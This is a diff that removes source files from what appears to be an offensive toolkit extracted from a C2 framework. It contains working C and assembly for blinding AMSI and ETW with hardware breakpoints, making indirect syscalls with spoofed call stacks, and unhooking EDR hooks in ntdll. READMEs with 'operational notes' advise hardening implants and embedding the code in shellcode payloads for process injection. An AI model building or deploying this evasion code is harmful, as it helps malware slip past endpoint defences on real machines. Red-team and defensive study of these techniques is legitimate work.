* (e.g. a timer thread created during sleep obfuscation)
*/
void hwbp_patch_etw(void);
void hwbp_patch_amsi(void);
void hwbp_patch_all(void);
void hwbp_apply_thread(HANDLE hThread);
-83
View File
@@ -1,83 +0,0 @@
#include "hwbp_evasion.h"
#include <windows.h>
#include <stdio.h>
/* AMSI types — no amsi.h dependency */
typedef void *HAMSICONTEXT;
typedef void *HAMSISESSION;
typedef int AMSI_RESULT;
#define AMSI_RESULT_CLEAN 0
#define AMSI_RESULT_DETECTED 32768
typedef HRESULT (WINAPI *AmsiInitialize_t) (LPCWSTR, HAMSICONTEXT *);
typedef HRESULT (WINAPI *AmsiOpenSession_t) (HAMSICONTEXT, HAMSISESSION *);
typedef HRESULT (WINAPI *AmsiScanBuffer_t) (HAMSICONTEXT, void *, ULONG, LPCWSTR, HAMSISESSION, AMSI_RESULT *);
typedef void (WINAPI *AmsiCloseSession_t)(HAMSICONTEXT, HAMSISESSION);
typedef void (WINAPI *AmsiUninitialize_t)(HAMSICONTEXT);
static struct {
AmsiInitialize_t Init;
AmsiOpenSession_t OpenSession;
AmsiScanBuffer_t ScanBuffer;
AmsiCloseSession_t CloseSession;
AmsiUninitialize_t Uninit;
} amsi;
static int load_amsi(void)
{
HMODULE h = LoadLibraryA("amsi.dll");
if (!h) return 0;
amsi.Init = (AmsiInitialize_t) GetProcAddress(h, "AmsiInitialize");
amsi.OpenSession = (AmsiOpenSession_t) GetProcAddress(h, "AmsiOpenSession");
amsi.ScanBuffer = (AmsiScanBuffer_t) GetProcAddress(h, "AmsiScanBuffer");
amsi.CloseSession = (AmsiCloseSession_t)GetProcAddress(h, "AmsiCloseSession");
amsi.Uninit = (AmsiUninitialize_t)GetProcAddress(h, "AmsiUninitialize");
return amsi.Init && amsi.ScanBuffer;
}
static void test_amsi(const char *label)
{
HAMSICONTEXT ctx = NULL;
HAMSISESSION ses = NULL;
if (FAILED(amsi.Init(L"hwbp-demo", &ctx))) {
printf("[%s] AmsiInitialize failed\n", label);
return;
}
amsi.OpenSession(ctx, &ses);
/* EICAR test string — blocked by every AV engine */
const char eicar[] =
"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
AMSI_RESULT result = AMSI_RESULT_CLEAN;
HRESULT hr = amsi.ScanBuffer(ctx, (void *)eicar, (ULONG)(sizeof(eicar) - 1),
L"eicar", ses, &result);
printf("[%s] hr=0x%08lX result=%d detected=%s\n",
label, (unsigned long)hr, (int)result,
result >= AMSI_RESULT_DETECTED ? "YES" : "no");
amsi.CloseSession(ctx, ses);
amsi.Uninit(ctx);
}
int main(void)
{
if (!load_amsi()) {
printf("[!] amsi.dll not available\n");
return 1;
}
printf("[*] without bypass:\n");
test_amsi("before");
printf("[*] arming HWBP (ETW + AMSI)...\n");
hwbp_patch_all();
printf("[+] armed Dr0=EtwEventWrite Dr1=AmsiScanBuffer Dr2=AmsiScanString\n");
printf("[*] with bypass:\n");
test_amsi("after ");
return 0;
}
-128
View File
@@ -1,128 +0,0 @@
#include "hwbp_evasion.h"
#include <windows.h>
#include <stdint.h>
/*
* PoC note: uses GetModuleHandleA/LoadLibraryA/GetProcAddress with plaintext
* strings. In production, replace with a PEB walk and encrypted string storage.
* See agent/src/evasion/evasion.c in KHAOS C2 for the hardened version.
*/
static LPVOID g_etw_fn = NULL; /* EtwEventWrite -> Dr0 */
static LPVOID g_amsi_fn = NULL; /* AmsiScanBuffer -> Dr1 */
static LPVOID g_amsi_scan_fn = NULL; /* AmsiScanString -> Dr2 */
static PVOID g_veh = NULL;
/*
* VEH handler — must live in a section other than .text so it keeps executing
* if .text is PAGE_NOACCESS during sleep obfuscation (see sleep-obf technique).
*
* On EXCEPTION_SINGLE_STEP at a watched address:
* EtwEventWrite -> Rax = STATUS_SUCCESS (0) -> ETW call silently succeeds
* AmsiScanBuffer -> Rax = E_INVALIDARG (0x80070057) -> scan returns "clean"
* AmsiScanString -> Rax = E_INVALIDARG (0x80070057) -> scan returns "clean"
*
* Rip is advanced past the call by reading the return address off the stack,
* and the corresponding Bx status bit in Dr6 is cleared.
*/
__attribute__((section(".run"), noinline))
static LONG WINAPI _hwbp_veh(EXCEPTION_POINTERS *ep)
{
if (ep->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH;
CONTEXT *ctx = ep->ContextRecord;
BOOL handled = FALSE;
if (g_etw_fn && (LPVOID)(uintptr_t)ctx->Rip == g_etw_fn) {
ctx->Rax = 0;
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
ctx->Rsp += 8;
ctx->Dr6 &= ~(DWORD64)0x1;
handled = TRUE;
}
if (g_amsi_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_fn) {
ctx->Rax = 0x80070057;
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
ctx->Rsp += 8;
ctx->Dr6 &= ~(DWORD64)0x2;
handled = TRUE;
}
if (g_amsi_scan_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_scan_fn) {
ctx->Rax = 0x80070057;
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
ctx->Rsp += 8;
ctx->Dr6 &= ~(DWORD64)0x4;
handled = TRUE;
}
return handled ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH;
}
static void _ensure_veh(void)
{
if (!g_veh)
g_veh = AddVectoredExceptionHandler(1, _hwbp_veh);
}
/* Write Dr0/Dr1/Dr2/Dr7 on a thread via GetThreadContext/SetThreadContext */
void hwbp_apply_thread(HANDLE hThread)
{
if (!g_etw_fn && !g_amsi_fn && !g_amsi_scan_fn) return;
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(hThread, &ctx)) return;
if (g_etw_fn) ctx.Dr0 = (DWORD64)(uintptr_t)g_etw_fn;
if (g_amsi_fn) ctx.Dr1 = (DWORD64)(uintptr_t)g_amsi_fn;
if (g_amsi_scan_fn) ctx.Dr2 = (DWORD64)(uintptr_t)g_amsi_scan_fn;
/*
* Dr7 encoding:
* Bits 0,2,4 = local enable for Dr0, Dr1, Dr2
* Clear bits [15:0] first to reset any existing conditions,
* then set only the breakpoints we have targets for.
*/
ctx.Dr7 &= ~(DWORD64)0x0FFF0015;
ctx.Dr7 |= g_etw_fn ? 0x01 : 0;
ctx.Dr7 |= g_amsi_fn ? 0x04 : 0;
ctx.Dr7 |= g_amsi_scan_fn ? 0x10 : 0;
SetThreadContext(hThread, &ctx);
}
void hwbp_patch_etw(void)
{
if (!g_etw_fn) {
HMODULE h = GetModuleHandleA("ntdll.dll");
if (h) g_etw_fn = (LPVOID)GetProcAddress(h, "EtwEventWrite");
}
_ensure_veh();
hwbp_apply_thread(GetCurrentThread());
}
void hwbp_patch_amsi(void)
{
if (!g_amsi_fn || !g_amsi_scan_fn) {
/* amsi.dll may not be loaded yet — force load it */
HMODULE h = GetModuleHandleA("amsi.dll");
if (!h) h = LoadLibraryA("amsi.dll");
if (h) {
if (!g_amsi_fn)
g_amsi_fn = (LPVOID)GetProcAddress(h, "AmsiScanBuffer");
if (!g_amsi_scan_fn)
g_amsi_scan_fn = (LPVOID)GetProcAddress(h, "AmsiScanString");
}
}
_ensure_veh();
hwbp_apply_thread(GetCurrentThread());
}
void hwbp_patch_all(void)
{
hwbp_patch_etw();
hwbp_patch_amsi();
}
-33
View File
@@ -1,33 +0,0 @@
CC = x86_64-w64-mingw32-gcc
CFLAGS = -O2 -Wall -Wextra \
-Iinclude \
-fno-asynchronous-unwind-tables \
-fno-ident \
-fno-stack-protector
LDFLAGS = -lntdll
SRC_C = src/indirect_syscall.c src/demo.c
SRC_S = src/spoof_stub.S
OBJ_C = $(patsubst src/%.c, build/%.o, $(SRC_C))
OBJ_S = $(patsubst src/%.S, build/%.o, $(SRC_S))
OBJ = $(OBJ_C) $(OBJ_S)
TARGET = build/demo.exe
all: build $(TARGET)
build:
mkdir -p build
build/%.o: src/%.c
$(CC) $(CFLAGS) -c $< -o $@
build/%.o: src/%.S
$(CC) $(CFLAGS) -c $< -o $@
$(TARGET): $(OBJ)
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
clean:
rm -rf build
.PHONY: all clean
-195
View File
@@ -1,195 +0,0 @@
# indirect-syscalls
Indirect syscalls with Hell's Gate + Halo's Gate SSN resolution and 2-frame call-stack spoofing for Windows x64.
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
---
## What this solves
EDR products hook userland syscall stubs in ntdll by overwriting their first bytes with a JMP to a monitoring trampoline:
```
NtOpenProcess (hooked):
E9 xx xx xx xx JMP <edr_hook>
...
NtOpenProcess (clean):
4C 8B D1 mov r10, rcx
B8 26 00 00 00 mov eax, 0x26 ; SSN
0F 05 syscall
C3 ret
```
Two problems to solve:
1. **SSN recovery** — the `mov eax` is gone; we need to find the real syscall number.
2. **syscall origin** — even with the right SSN, a `syscall` instruction in our own code is flagged by telemetry that checks the source module. The instruction must appear to come from ntdll.
---
## How it works
### SSN resolution
**Hell's Gate** (unhooked stub):
```
fn[0..3] == 4C 8B D1 B8 → SSN = *(uint16_t *)(fn + 4)
```
**Halo's Gate** (hooked stub — JMP trampoline at fn[0]):
Walk ntdll's EAT to find the position of `name` in the sorted name table, then scan neighbors ±32 positions for a clean `4C 8B D1 B8` stub. Since Nt* syscalls are numbered in sorted-name order, a clean neighbor at distance `d` has `SSN ± d`:
```
for d in 1..32:
neighbor_at(idx - d) → SSN = neighbor_ssn + d
neighbor_at(idx + d) → SSN = neighbor_ssn - d
```
### Indirect syscall gadget
Scan ntdll `.text` for the byte sequence `0F 05 C3` (`syscall; ret`). Any Nt* stub contains it. Jumping into this gadget makes ETW telemetry record the source as ntdll, not our implant.
### Call-stack spoofing
Before the jump to the gadget, two fake return addresses are pushed onto the stack:
```
[rsp+0x00] = ret in KernelBase .text ← inner spoof frame
[rsp+0x08] = ret in ntdll .text ← outer spoof frame
[rsp+0x10] = real return address (our code)
```
Stack walk during the syscall shows:
```
NtXxx → KernelBase!<somewhere> → ntdll!<somewhere> → [our code]
```
Rather than:
```
NtXxx → [our code] ← obvious
```
### Argument remapping (`spoof_stub.S`)
Windows x64 calling convention → Nt* ABI:
```
rcx (ssn) → eax (syscall number)
rdx (a1) → r10 (first Nt* arg — Nt* stubs do: mov r10,rcx; then syscall clobbers rcx)
r8 (a2) → rdx
r9 (a3) → r8
[+0x28] a4 → r9
[+0x28..0x58]: a5..a11 shifted down by 0x10 to account for the 2 pushed spoof frames
```
---
## API
```c
#include "indirect_syscall.h"
// Initialize — find gadgets. Call once before sc_ssn/sc_call.
// Returns 0 on success, -1 if ntdll has no syscall;ret sequence.
int sc_init(void);
// Resolve SSN for any Nt* function.
// Hell's Gate if stub is clean; Halo's Gate if hooked.
// Returns 0xFFFF on failure.
uint16_t sc_ssn(const char *name);
// Indirect syscall with call-stack spoofing.
// Caller must zero unused trailing args.
NTSTATUS sc_call(uint16_t ssn,
uintptr_t a1, uintptr_t a2, uintptr_t a3,
uintptr_t a4, uintptr_t a5, uintptr_t a6,
uintptr_t a7, uintptr_t a8, uintptr_t a9,
uintptr_t a10, uintptr_t a11);
```
### Example
```c
sc_init();
uint16_t ssn = sc_ssn("NtAllocateVirtualMemory");
HANDLE proc = (HANDLE)(LONG_PTR)-1;
PVOID base = NULL;
SIZE_T sz = 0x1000;
NTSTATUS st = sc_call(ssn,
(uintptr_t)proc,
(uintptr_t)&base,
0,
(uintptr_t)&sz,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
0, 0, 0, 0, 0);
```
---
## Build
Requires MinGW-w64 cross-compiler.
```bash
make
./build/demo.exe
```
Expected output:
```
[+] sc_gadget = 00007ffe2fd9fbe2 (syscall;ret in ntdll .text)
[+] sc_frame1 = 00007ffe2d2031c9 (KernelBase ret gadget)
[+] sc_frame2 = 00007ffe2fc441d9 (ntdll ret gadget)
[*] SSN NtAllocateVirtualMemory = 0x0018
[*] SSN NtProtectVirtualMemory = 0x0050
[*] SSN NtFreeVirtualMemory = 0x001E
[*] SSN NtWriteVirtualMemory = 0x003A
[*] SSN NtOpenProcess = 0x0026
[+] NtAllocateVirtualMemory: base=... sz=0x1000 st=0x00000000
[+] NtProtectVirtualMemory: st=0x00000000 old_prot=0x4
[*] VirtualQuery Protect = 0x20 (expected 0x20 = PAGE_EXECUTE_READ)
[+] page is PAGE_EXECUTE_READ — indirect syscalls working correctly
```
---
## Limitations
- x64 only.
- Halo's Gate scans ±32 neighbors. If all 64 neighbors are hooked (uncommon), SSN resolution fails and `sc_ssn()` returns `0xFFFF`.
- Call-stack spoofing is 2 frames deep. A thorough stack inspection (unwind data validation, module range checks) will see our code at `[rsp+0x10]`. Full synthetic stack spoofing requires building proper unwind data and a complete ROP frame chain — out of scope for this PoC.
- `sc_ssn()` uses `strcmp` on EAT names, which are ASCII and sorted. This is standard EAT iteration with no obfuscation — replace with a hash walk in production.
- Gadget addresses change on every reboot (ASLR). `sc_init()` must be called in-process.
---
## Operational notes
This PoC uses `GetModuleHandleA`/`GetProcAddress` with plaintext strings. In production:
- Replace with a PEB walk (`__readgsqword(0x60)`) to resolve modules.
- Encrypt sensitive string literals (see EVS XOR in KHAOS C2).
- Call `sc_init()` early — before EDR DLLs load via `DLL_PROCESS_ATTACH` if possible.
The `sc_gadget` address can be cached; it points into ntdll `.text` which is stable within a process lifetime (even after ntdll unhooking, the `syscall;ret` bytes remain).
---
## Credits
Technique originally described by [Hell's Gate](https://github.com/am0nsec/HellsGate) (am0nsec / smelly__vx) and extended by [Halo's Gate](https://blog.sektor7.net/#!res/2021/halosgate.md) (Sektor7). Call-stack spoofing approach from [SilentMoonwalk](https://github.com/klezVirus/SilentMoonwalk) (klezVirus). This implementation integrates all three into a single compact dispatcher.
---
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,54 +0,0 @@
#pragma once
#include <windows.h>
#include <stdint.h>
/*
* PoC note: this file uses GetModuleHandleA/GetProcAddress for simplicity.
* In production, replace with a PEB walk and EVS XOR string obfuscation.
*/
/*
* Pointers used by spoof_stub.S — must be initialized by sc_init().
* sc_gadget : syscall;ret sequence inside ntdll .text
* sc_frame1 : single `ret` in KernelBase .text (inner spoof frame)
* sc_frame2 : single `ret` in ntdll .text (outer spoof frame)
*/
extern void *sc_gadget;
extern void *sc_frame1;
extern void *sc_frame2;
/*
* sc_init() — find gadgets, must be called once before sc_ssn/sc_call.
* Returns 0 on success, -1 if ntdll has no syscall;ret sequence.
*/
int sc_init(void);
/*
* sc_ssn(name) — resolve the syscall number for an Nt* function.
*
* Hell's Gate : stub starts with `4C 8B D1 B8 xx xx` → read SSN directly.
* Halo's Gate : stub hooked (JMP trampoline) → walk EAT for a clean neighbor,
* then compute SSN by adjusting the neighbor's SSN by the delta.
*
* Returns 0xFFFF on failure.
*/
uint16_t sc_ssn(const char *name);
/*
* sc_call(ssn, a1..a11) — indirect syscall dispatcher.
*
* - Jumps to a `syscall;ret` gadget inside ntdll .text (not our own code).
* - Pushes two fake return addresses onto the stack before the jmp:
* [rsp+0x00] = sc_frame1 (ret in KernelBase .text)
* [rsp+0x08] = sc_frame2 (ret in ntdll .text)
* Stack walk during the syscall shows: Nt* → KernelBase → ntdll → caller.
* - Remaps arguments to Windows Nt* ABI (r10=a1, rdx=a2, r8=a3, r9=a4,
* a5..a11 on stack at [rsp+0x28..]).
*
* Caller must zero unused trailing args.
*/
extern NTSTATUS sc_call(uint16_t ssn,
uintptr_t a1, uintptr_t a2, uintptr_t a3,
uintptr_t a4, uintptr_t a5, uintptr_t a6,
uintptr_t a7, uintptr_t a8, uintptr_t a9,
uintptr_t a10, uintptr_t a11);
-117
View File
@@ -1,117 +0,0 @@
#include "indirect_syscall.h"
#include <windows.h>
#include <stdio.h>
/*
* Demo: allocate a page via indirect NtAllocateVirtualMemory, write bytes,
* flip to PAGE_EXECUTE_READ via indirect NtProtectVirtualMemory, verify.
*
* On an EDR-hooked system, sc_ssn() uses Halo's Gate to recover the real SSN
* even when the syscall stub starts with a JMP trampoline.
*/
int main(void)
{
printf("[*] sc_init()...\n");
if (sc_init() != 0) {
printf("[!] sc_init failed — no syscall;ret gadget found in ntdll .text\n");
return 1;
}
printf("[+] sc_gadget = %p (syscall;ret in ntdll .text — indirect jmp target)\n",
sc_gadget);
printf("[+] sc_frame1 = %p (KernelBase ret gadget — inner spoof frame)\n",
sc_frame1);
printf("[+] sc_frame2 = %p (ntdll ret gadget — outer spoof frame)\n\n",
sc_frame2);
/* Resolve SSNs */
uint16_t ssn_alloc = sc_ssn("NtAllocateVirtualMemory");
uint16_t ssn_prot = sc_ssn("NtProtectVirtualMemory");
uint16_t ssn_free = sc_ssn("NtFreeVirtualMemory");
uint16_t ssn_write = sc_ssn("NtWriteVirtualMemory");
uint16_t ssn_open = sc_ssn("NtOpenProcess");
printf("[*] SSN NtAllocateVirtualMemory = 0x%04X\n", ssn_alloc);
printf("[*] SSN NtProtectVirtualMemory = 0x%04X\n", ssn_prot);
printf("[*] SSN NtFreeVirtualMemory = 0x%04X\n", ssn_free);
printf("[*] SSN NtWriteVirtualMemory = 0x%04X\n", ssn_write);
printf("[*] SSN NtOpenProcess = 0x%04X\n\n", ssn_open);
if (ssn_alloc == 0xFFFF || ssn_prot == 0xFFFF) {
printf("[!] SSN resolve failed — Halo's Gate unable to find clean neighbor\n");
return 1;
}
/*
* NtAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits,
* RegionSize, AllocationType, Protect)
*/
HANDLE proc = (HANDLE)(LONG_PTR)-1; /* current process */
PVOID base = NULL;
SIZE_T sz = 0x1000;
NTSTATUS st = sc_call(ssn_alloc,
(uintptr_t)proc,
(uintptr_t)&base,
0,
(uintptr_t)&sz,
(uintptr_t)(MEM_COMMIT | MEM_RESERVE),
(uintptr_t)PAGE_READWRITE,
0, 0, 0, 0, 0);
if (st != 0 || !base) {
printf("[!] NtAllocateVirtualMemory failed: 0x%08X\n", (unsigned)st);
return 1;
}
printf("[+] NtAllocateVirtualMemory: base=%p sz=0x%zX st=0x%08X\n",
base, sz, (unsigned)st);
/* Write a recognizable marker — page is PAGE_READWRITE at this point */
((BYTE *)base)[0] = 0xDE;
((BYTE *)base)[1] = 0xAD;
((BYTE *)base)[2] = 0xBE;
((BYTE *)base)[3] = 0xEF;
/*
* NtProtectVirtualMemory(ProcessHandle, BaseAddress, RegionSize,
* NewProtect, OldProtect)
*/
PVOID pbase = base;
SIZE_T psz = 0x1000;
ULONG old = 0;
st = sc_call(ssn_prot,
(uintptr_t)proc,
(uintptr_t)&pbase,
(uintptr_t)&psz,
(uintptr_t)PAGE_EXECUTE_READ,
(uintptr_t)&old,
0, 0, 0, 0, 0, 0);
printf("[%c] NtProtectVirtualMemory: st=0x%08X old_prot=0x%lX\n",
st == 0 ? '+' : '!', (unsigned)st, old);
/* Verify via VirtualQuery — does not go through ntdll hooks */
MEMORY_BASIC_INFORMATION mbi = {0};
VirtualQuery(base, &mbi, sizeof(mbi));
printf("[*] VirtualQuery Protect = 0x%lX (expected 0x%lX = PAGE_EXECUTE_READ)\n",
mbi.Protect, (ULONG)PAGE_EXECUTE_READ);
BOOL ok = (st == 0 && mbi.Protect == PAGE_EXECUTE_READ);
printf("[%c] page is %s\n", ok ? '+' : '!',
ok ? "PAGE_EXECUTE_READ — indirect syscalls working correctly"
: "UNEXPECTED — check output above");
/* NtFreeVirtualMemory */
PVOID fbase = base;
SIZE_T fsz = 0;
sc_call(ssn_free,
(uintptr_t)proc,
(uintptr_t)&fbase,
(uintptr_t)&fsz,
(uintptr_t)MEM_RELEASE,
0, 0, 0, 0, 0, 0, 0);
return ok ? 0 : 1;
}
@@ -1,96 +0,0 @@
#include "indirect_syscall.h"
#include <windows.h>
#include <string.h>
#include <stdint.h>
void *sc_gadget = NULL;
void *sc_frame1 = NULL;
void *sc_frame2 = NULL;
/* Scan ntdll/KernelBase .text for a byte sequence starting at min_off bytes in. */
static BYTE *_find_seq(HMODULE h, const BYTE *seq, int seqlen, SIZE_T min_off)
{
if (!h) return NULL;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)h;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)h + dos->e_lfanew);
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (memcmp(sec->Name, ".text", 5) != 0) continue;
BYTE *base = (BYTE *)h + sec->VirtualAddress;
SIZE_T sz = sec->Misc.VirtualSize;
for (SIZE_T j = min_off; j + (SIZE_T)seqlen <= sz; j++) {
int ok = 1;
for (int k = 0; k < seqlen; k++)
if (base[j + k] != seq[k]) { ok = 0; break; }
if (ok) return base + j;
}
}
return NULL;
}
int sc_init(void)
{
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
HMODULE kbase = GetModuleHandleA("KernelBase.dll");
if (!ntdll) return -1;
/* syscall;ret = 0F 05 C3 */
static const BYTE gadget_seq[] = { 0x0F, 0x05, 0xC3 };
sc_gadget = _find_seq(ntdll, gadget_seq, 3, 0);
if (!sc_gadget) return -1;
/* ret gadgets for call-stack spoofing — skip first few KB to stay in body code */
static const BYTE ret_seq[] = { 0xC3 };
if (kbase) sc_frame1 = _find_seq(kbase, ret_seq, 1, 0x2000);
sc_frame2 = _find_seq(ntdll, ret_seq, 1, 0x3000);
/* fallback: both frames in ntdll if KernelBase ret not found */
if (!sc_frame1) sc_frame1 = sc_frame2;
if (!sc_frame2) return -1;
return 0;
}
uint16_t sc_ssn(const char *name)
{
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (!ntdll) return 0xFFFF;
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, name);
if (!fn) return 0xFFFF;
/* Hell's Gate: stub is clean — read SSN from mov eax,<ssn> */
if (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8)
return *(uint16_t *)(fn + 4);
/* Halo's Gate: stub is hooked — scan EAT for an unhooked neighbor */
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)ntdll;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)ntdll + dos->e_lfanew);
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)
((BYTE *)ntdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress);
DWORD *names = (DWORD *)((BYTE *)ntdll + exp->AddressOfNames);
DWORD *funcs = (DWORD *)((BYTE *)ntdll + exp->AddressOfFunctions);
WORD *ords = (WORD *)((BYTE *)ntdll + exp->AddressOfNameOrdinals);
int idx = -1;
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
if (strcmp((char *)((BYTE *)ntdll + names[i]), name) == 0) {
idx = (int)i;
break;
}
}
if (idx < 0) return 0xFFFF;
/* scan up to 32 neighbors in both directions */
for (int d = 1; d <= 32; d++) {
for (int s = -1; s <= 1; s += 2) {
int ni = idx + s * d;
if (ni < 0 || ni >= (int)exp->NumberOfNames) continue;
BYTE *nb = (BYTE *)ntdll + funcs[ords[ni]];
if (nb[0] == 0x4C && nb[1] == 0x8B && nb[2] == 0xD1 && nb[3] == 0xB8)
return (uint16_t)(*(uint16_t *)(nb + 4) - (uint16_t)(s * d));
}
}
return 0xFFFF;
}
@@ -1,69 +0,0 @@
/*
* sc_call(ssn, a1..a11) indirect syscall with 2-frame call-stack spoofing.
*
* On entry (Windows x64 ABI):
* rcx = ssn (uint16_t syscall number)
* rdx = a1 (1st Nt* arg)
* r8 = a2
* r9 = a3
* [rsp+0x28] = a4
* [rsp+0x30] = a5
* [rsp+0x38] = a6
* [rsp+0x40] = a7
* [rsp+0x48] = a8
* [rsp+0x50] = a9
* [rsp+0x58] = a10
* [rsp+0x60] = a11
*
* Stack layout after jmp (what the kernel / ETW stack walk sees):
* [rsp+0x00] = sc_frame1 (ret in KernelBase .text inner spoof frame)
* [rsp+0x08] = sc_frame2 (ret in ntdll .text outer spoof frame)
* [rsp+0x10] = original return address back to our code
*
* Nt* ABI remapping performed:
* rax = SSN, r10 = a1, rdx = a2, r8 = a3, r9 = a4
* [rsp+0x28..0x58] = a5..a11
*/
.text
.extern sc_gadget
.extern sc_frame1
.extern sc_frame2
.global sc_call
sc_call:
/* Pre-save a5/a6 before touching the stack — their positions shift after subq */
movq 0x30(%rsp), %r10
movq 0x38(%rsp), %r11
/* Grow stack by 16 bytes: make room for 2 fake return addresses */
subq $0x10, %rsp
/* Write spoof frames at the new top of stack */
movq sc_frame2(%rip), %rax
movq %rax, 0x08(%rsp) /* outer frame: ntdll ret gadget */
movq sc_frame1(%rip), %rax
movq %rax, 0x00(%rsp) /* inner frame: KernelBase ret gadget */
/* Store a5/a6 at their final positions ([rsp+0x28], [rsp+0x30]) */
movq %r10, 0x28(%rsp)
movq %r11, 0x30(%rsp)
/* Remap args to Nt* ABI: r10=a1, rdx=a2, r8=a3, r9=a4 */
movq %rdx, %r10
movq %r8, %rdx
movq %r9, %r8
movq 0x38(%rsp), %r9
/* Shift a7..a11 down by 0x10 into their final stack positions */
movq 0x50(%rsp), %r11 ; movq %r11, 0x38(%rsp)
movq 0x58(%rsp), %r11 ; movq %r11, 0x40(%rsp)
movq 0x60(%rsp), %r11 ; movq %r11, 0x48(%rsp)
movq 0x68(%rsp), %r11 ; movq %r11, 0x50(%rsp)
movq 0x70(%rsp), %r11 ; movq %r11, 0x58(%rsp)
/* Load SSN into eax (lower 16 bits of rcx) */
movzwl %cx, %eax
/* Indirect jump: execute syscall;ret inside ntdll — not our code */
jmpq *sc_gadget(%rip)
-27
View File
@@ -1,27 +0,0 @@
CC = x86_64-w64-mingw32-gcc
CFLAGS = -O2 -Wall -Wextra \
-Iinclude \
-fno-asynchronous-unwind-tables \
-fno-ident \
-fno-stack-protector
LDFLAGS = -lntdll
SRC = src/ntdll_unhook.c src/demo.c
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
TARGET = build/demo.exe
all: build $(TARGET)
build:
mkdir -p build
build/%.o: src/%.c
$(CC) $(CFLAGS) -c $< -o $@
$(TARGET): $(OBJ)
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
clean:
rm -rf build
.PHONY: all clean
-112
View File
@@ -1,112 +0,0 @@
# ntdll-unhook
Restore ntdll.dll `.text` from a fresh disk mapping to remove EDR inline hooks. Also patches `EtwTi*` telemetry functions with a single `RET`.
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
---
## How it works
EDR products hook ntdll syscall stubs by overwriting the first bytes with a `JMP` to their trampoline:
```
NtOpenProcess (hooked):
E9 xx xx xx xx JMP <edr_hook>
...
NtOpenProcess (clean):
4C 8B D1 mov r10, rcx
B8 26 00 00 00 mov eax, 0x26 ; SSN
0F 05 syscall
C3 ret
```
### ntdll_unhook()
```
CreateFileW(SystemDir\ntdll.dll, GENERIC_READ)
|
v
CreateFileMappingW(PAGE_READONLY | SEC_IMAGE) <- kernel maps + validates PE
|
v
MapViewOfFile(FILE_MAP_READ) <- clean image, no hooks
|
v
walk .text section in disk image
|
v
NtProtectVirtualMemory(live .text, PAGE_EXECUTE_READWRITE)
memcpy(live .text, disk .text, VirtualSize)
NtProtectVirtualMemory(live .text, original perms)
```
Key: `SEC_IMAGE` tells the kernel to map the file as a PE image (applying relocations, verifying signature). The result is a clean in-memory copy of ntdll identical to what the Windows loader would produce — before any userland hooks are applied.
`NtProtectVirtualMemory` is used instead of `VirtualProtect` because `VirtualProtect` itself goes through ntdll and may be hooked.
### ntdll_patch_etw_ti()
Patches three functions in ntdll that feed the kernel ETW-TI (Threat Intelligence) provider:
| Function | Event |
|---|---|
| `EtwTiLogOpenProcess` | fires on `NtOpenProcess` |
| `EtwTiLogReadWriteVm` | fires on `NtReadVirtualMemory` / `NtWriteVirtualMemory` |
| `EtwTiLogDuplicateHandle` | fires on `NtDuplicateObject` |
Each is overwritten with `0xC3` (RET). These functions are in ntdll's `.text` section and do not require kernel interaction to patch.
---
## API
```c
int ntdll_unhook(void); // restore .text — returns 0 on success, -1 on failure
int ntdll_patch_etw_ti(void); // patch 3 EtwTi functions — returns count patched (0-3)
```
---
## Build
```bash
make
build/demo.exe
```
Expected output on an unhooked system:
```
[*] NtOpenProcess bytes before unhook:
[before] 4C 8B D1 B8 26 00 00 00
[*] ntdll_unhook() = 0 (OK)
[*] NtOpenProcess bytes after unhook:
[after ] 4C 8B D1 B8 26 00 00 00
[+] stub is clean
[*] ntdll_patch_etw_ti() patched 3/3 functions
```
On an EDR-hooked system, `before` will show `E9 ...` (JMP trampoline) and `after` will show the clean syscall stub.
---
## Limitations
- Restores `.text` only — hooks in other sections (`.data`, import table patching) are not removed.
- Does not re-register exception tables (`.pdata`) for the restored `.text`. If the EDR modified anything related to unwind data, this won't fix it.
- `EtwTi*` patch survives ntdll reload but not process restart.
- Some EDR products monitor `NtMapViewOfSection` for `SEC_IMAGE` mappings of system DLLs. Consider calling `ntdll_unhook` as early as possible (before EDR's DLL loads).
---
## Operational notes
Call order matters: unhook ntdll **before** patching ETW-TI, so `NtProtectVirtualMemory` calls in `ntdll_patch_etw_ti` go through a clean syscall stub.
For cross-process injection, unhook in the **target process** context by embedding this code in your shellcode or reflective DLL payload — not from the injector.
---
